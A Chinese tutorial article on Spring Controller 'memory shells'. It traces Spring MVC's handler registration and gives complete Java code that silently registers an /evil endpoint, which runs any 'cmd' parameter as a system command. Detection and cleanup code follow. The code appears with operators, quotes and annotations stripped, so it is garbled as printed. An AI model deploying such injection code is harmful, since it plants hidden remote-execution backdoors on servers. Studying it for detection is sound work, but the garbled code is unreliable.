十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Java 内存马系列(四):Spring Controller内存马深度解析

Java 内存马系列(四):Spring Controller内存马深度解析 在Spring框架中Controller内存马是最高效、最隐蔽的攻击方式之一。Spring通过RequestMappingHandlerMapping管理所有Controller映射攻击者通过动态注册恶意Controller即可实现持久化的命令执行后门。本文将深入剖析Controller内存马的实现原理、注入技术及检测防御策略。一、Spring MVC核心机制HandlerMapping1.1 请求处理流程在Spring MVC中所有请求都经过DispatcherServlet统一分发// DispatcherServlet核心处理流程 protected void doDispatch(HttpServletRequest request, HttpServletResponse response) { // 1. 根据请求获取HandlerExecutionChain包含Controller HandlerExecutionChain mappedHandler getHandler(request); // 2. 获取HandlerAdapter适配器 HandlerAdapter ha getHandlerAdapter(mappedHandler.getHandler()); // 3. 执行Controller方法 ha.handle(request, response, mappedHandler.getHandler()); }关键点getHandler()方法会遍历所有HandlerMapping找到匹配当前请求的Controller。1.2 Controller映射存储结构Spring中所有Controller的映射信息存储在RequestMappingHandlerMapping中public class RequestMappingHandlerMapping { // 核心映射注册表 private final MappingRegistry mappingRegistry new MappingRegistry(); class MappingRegistry { // Map: 请求映射条件 - 处理方法的注册信息 private final MapRequestMappingInfo, HandlerMethod registry new HashMap(); // 路径查找缓存 private final MapString, ListHandlerMethod urlLookup new LinkedHashMap(); // 名称查找缓存 private final MapString, ListHandlerMethod nameLookup new ConcurrentHashMap(); } }RequestMappingInfo包含路径、请求方法、Headers、Params等匹配条件HandlerMethod包含Controller实例和对应的方法二、Controller内存马注入原理2.1 核心思路Controller内存马的注入核心就是向RequestMappingHandlerMapping的registry中插入一个新的映射使得特定URL指向攻击者定义的恶意方法。// 注册Controller的核心API handlerMapping.registerMapping( RequestMappingInfo info, // 匹配条件路径、方法等 Object handler, // Controller实例 Method method // 处理方法 );2.2 为什么Controller内存马隐蔽性高对比维度Controller内存马Filter内存马Listener内存马框架层Spring MVCServlet APIServlet API存储位置RequestMappingHandlerMappingStandardContext.filterDefsStandardContext.applicationEventListenersURL映射灵活支持/evil/**、/admin等需配置/*或具体路径自动拦截所有请求触发条件支持Header、Params、Method等仅URL路径无可见性与正常Controller完全一致FilterChain中可见不明显本质优势Controller内存马与正常业务Controller在表现形式上没有任何区别传统检测工具难以区分。三、Controller内存马完整实现3.1 Java版本核心代码package com.memshell.spring; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Method; public class SpringControllerMemShell { public static void inject() throws Exception { // 1. 获取Spring上下文 ServletRequestAttributes attributes (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); WebApplicationContext context (WebApplicationContext) attributes .getRequest().getServletContext() .getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE); // 2. 获取HandlerMapping RequestMappingHandlerMapping handlerMapping context.getBean(RequestMappingHandlerMapping.class); // 3. 创建恶意Controller匿名内部类 Object controller new Object() { public void execute(HttpServletRequest request, HttpServletResponse response) throws Exception { String cmd request.getParameter(cmd); if (cmd ! null !cmd.isEmpty()) { Process process Runtime.getRuntime().exec(cmd); BufferedReader reader new BufferedReader( new InputStreamReader(process.getInputStream(), UTF-8) ); StringBuilder result new StringBuilder(); String line; while ((line reader.readLine()) ! null) { result.append(line).append(\n); } reader.close(); process.waitFor(); response.setContentType(text/html;charsetUTF-8); response.getWriter().println(result.toString()); response.flushBuffer(); } } }; // 4. 获取处理方法 Method method controller.getClass().getDeclaredMethod(execute, HttpServletRequest.class, HttpServletResponse.class); // 5. 构建RequestMappingInfo设置匹配条件 RequestMappingInfo info RequestMappingInfo .paths(/evil/**) .methods(org.springframework.web.bind.annotation.RequestMethod.GET) .build(); // 6. 注册到HandlerMapping handlerMapping.registerMapping(info, controller, method); System.out.println([] Controller内存马注入成功); } }四、源码分析4.1 查看controller是如何注册的将断点设置在如下图所示的位置开始debugger寻找controller实在哪个位置被注册的下面是一个关键的地方上一步并没有发现我们自己写的MyController的相关信息直到程序执行到下图所示的位置我们发现mappedHandler中的元素handler装有MyController的相关信息。4.2 寻找mappedHandler就在上述关键代码的上方我们找到了mappedHander的声明与赋值的地方。从代码中我们发现了一个关键的属性handlerMappings在这里我们下断点调试一下。4.3 查看handler这里的handler是从mapping.getHandler(request)来的我们看一下这个方法里面的具体代码在继承的父类中一层层往上找我们终于在AbstractHandlerMapping这个抽象类中找到了getHandler这个方法的具体代码设置断点重启服务调试4.4 查看getHandler方法一直F7逐步调试直到下图位置出现了this.mappingRegistry的信息我们跟进去查看lookupHandlerMethod(lookupPath, request)此时我们在registry中成功找到了路劲和对应的处理方法如果将我们的处理方法和路径加入registry就能成功注入接下来我们寻找注入的方法4.5 registerHandlerMethodregisterHandlerMethod方法即为注册的方法因为AbstractHandlerMethodMapping是抽象类所以我们还需要去寻找他的子类来调用这个注册方法public abstract class AbstractHandlerMethodMappingT extends AbstractHandlerMapping implements InitializingBean4.6 寻找子类从下图可以了解到这个程序在运行的过程中RequestMappingHandlerMapping这个实例是一定存在的拿到这个对象就可以调用他的父类的注册方法。我们接下来去寻找handlerMapping4.7 寻找handlerMapping找到HandlerMapping赋值的地方发现是context调用这里的context最后寻找是ApplicationContext是一个interface不能调用方法最终我们找到了WebApplicationContext到这里就可以串起来了。4.8 简单梳理通过上述源码分析我们可以将Controller内存马的注入链路梳理如下请求分发请求进入DispatcherServlet.doDispatch()调用getHandler()获取对应的HandlerExecutionChain。映射查找getHandler()遍历所有HandlerMapping最终在AbstractHandlerMapping中通过mappingRegistry的lookupHandlerMethod()匹配到目标路径对应的HandlerMethod。注册入口映射的注册由AbstractHandlerMethodMapping.registerHandlerMethod()完成该方法将RequestMappingInfo与HandlerMethod写入MappingRegistry.registry。获取实例由于AbstractHandlerMethodMapping是抽象类实际调用的是其子类RequestMappingHandlerMapping的实例。上下文获取通过WebApplicationContext可以获取到RequestMappingHandlerMapping这个Bean从而调用其父类的registerMapping()方法完成恶意Controller的动态注册。核心结论只要拿到WebApplicationContext并从中获取RequestMappingHandlerMapping再调用registerMapping()将恶意路径与处理方法写入registry即可完成Controller内存马的注入整个过程与正常Controller注册机制完全一致因此隐蔽性极高。五、注入演示5.1 注入5.2 代码package com.example.SpringShell.controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.DispatcherServlet; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Method; RestController public class MyController { RequestMapping(/index) public String index() { return index; } RequestMapping(/inject) public String inject() throws Exception { // 1. 从请求上下文拿 WebApplicationContext WebApplicationContext context (WebApplicationContext) RequestContextHolder .getRequestAttributes() .getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); // 2. 从容器拿 RequestMappingHandlerMapping RequestMappingHandlerMapping mapping context.getBean(RequestMappingHandlerMapping.class); // 3. 创建恶意 Controller 实例 InjectController injectController new InjectController(); // 4. 构造 RequestMappingInfo绑定 /evil 路径 RequestMappingInfo info RequestMappingInfo .paths(/evil) .build(); // ← 改这里 // 5. 动态注册映射 Method evilMethod InjectController.class.getMethod(evil); mapping.registerMapping(info, injectController, evilMethod); return injected; } // 改为 static 内部类不依赖外部实例 RestController public static class InjectController { public String evil() { try { HttpServletRequest request ((ServletRequestAttributes) RequestContextHolder .getRequestAttributes()).getRequest(); String cmd request.getParameter(cmd); if (cmd null) return no cmd; String encoding System.getProperty(file.encoding); Process proc Runtime.getRuntime().exec(cmd); BufferedReader reader new BufferedReader( new InputStreamReader(proc.getInputStream(), encoding) ); StringBuilder sb new StringBuilder(); String line; while ((line reader.readLine()) ! null) { sb.append(line).append(\n); } reader.close(); return sb.toString(); } catch (Exception e) { return error: e.getMessage(); } } } }六、检测与防御6.1 检测方法package com.memshell.detector; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import java.lang.reflect.Field; import java.util.Map; import java.util.Set; public class SpringControllerDetector { public static void detect(WebApplicationContext context) throws Exception { RequestMappingHandlerMapping handlerMapping context.getBean(RequestMappingHandlerMapping.class); // 反射获取内部registry Field field RequestMappingHandlerMapping.class .getDeclaredField(mappingRegistry); field.setAccessible(true); Object registry field.get(handlerMapping); // 获取registry Map Field registryField registry.getClass().getDeclaredField(registry); registryField.setAccessible(true); MapRequestMappingInfo, Object registryMap (MapRequestMappingInfo, Object) registryField.get(registry); // 遍历所有映射 for (Map.EntryRequestMappingInfo, Object entry : registryMap.entrySet()) { RequestMappingInfo info entry.getKey(); // 检查路径模式 SetString patterns info.getPatternsCondition().getPatterns(); for (String pattern : patterns) { // 可疑特征检测 if (pattern.contains(evil) || pattern.contains(shell) || pattern.contains(favicon.ico) info.getMethodsCondition().getMethods().size() 1) { System.out.println([!] 检测到可疑Controller:); System.out.println( Path: pattern); System.out.println( Methods: info.getMethodsCondition()); System.out.println( Headers: info.getHeadersCondition()); System.out.println( Params: info.getParamsCondition()); } } } } }6.2 清理方法public static void clean(WebApplicationContext context, String path) throws Exception { RequestMappingHandlerMapping handlerMapping context.getBean(RequestMappingHandlerMapping.class); // 获取registry Field field RequestMappingHandlerMapping.class .getDeclaredField(mappingRegistry); field.setAccessible(true); Object registry field.get(handlerMapping); Field registryField registry.getClass().getDeclaredField(registry); registryField.setAccessible(true); MapRequestMappingInfo, Object registryMap (MapRequestMappingInfo, Object) registryField.get(registry); // 移除匹配的映射 SetRequestMappingInfo keys registryMap.keySet(); for (RequestMappingInfo info : keys) { SetString patterns info.getPatternsCondition().getPatterns(); for (String pattern : patterns) { if (pattern.equals(path)) { registryMap.remove(info); System.out.println([] 已清理Controller: path); return; } } } }6.3 防御建议防御层次具体措施代码审计检查是否有动态注册Controller的接口暴露运行时监控HookregisterMapping方法记录所有注册行为定期巡检对比RequestMappingInfo与代码基线发现异常安全配置使用Spring Security限制敏感路径访问七、总结Controller内存马利用Spring框架的HandlerMapping机制通过动态注册Controller实现持久化后门。其核心攻击链路为text获取Spring上下文 → 获取HandlerMapping → 构建恶意Controller → 创建RequestMappingInfo → registerMapping注册关键优势与正常Controller完全一致隐蔽性极高支持多种触发条件Header、Params、Method等不受Servlet容器限制防御核心对RequestMappingHandlerMapping中MappingRegistry的registry映射表进行定期巡检对比异常注册是发现Controller内存马最有效的手段。
返回列表